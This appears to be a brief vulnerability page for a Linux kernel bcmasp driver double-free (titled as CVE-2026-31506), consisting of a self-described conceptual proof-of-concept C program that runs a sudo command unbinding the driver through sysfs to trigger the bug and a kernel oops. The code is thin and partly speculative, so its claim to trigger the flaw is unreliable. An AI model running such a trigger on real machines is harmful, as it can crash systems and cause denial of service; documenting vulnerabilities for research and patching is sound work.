CVE-2026-31506 Linux内核bcmasp驱动双重释放漏洞

/* * Conceptual PoC for triggering the vulnerable path in bcmasp driver. * This requires a system with the vulnerable kernel and bcmasp hardware. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { printf("[+] Attempting to trigger bcmasp WoL irq double free\n"); // In a real scenario, this might involve: // 1. Binding/unbinding the driver from sysfs. // 2. Triggering a specific network configuration that resets the device. // 3. Interacting with the device file to force an unload. char *cmd = "echo 'bcmasp' | sudo tee /sys/bus/platform/drivers/bcmasp/unbind"; // This command attempts to unbind the driver, triggering the remove function // where the double free logic resides. system(cmd); printf("[+] Exploit triggered. Check dmesg for kernel panic/oops.\n"); return 0; }
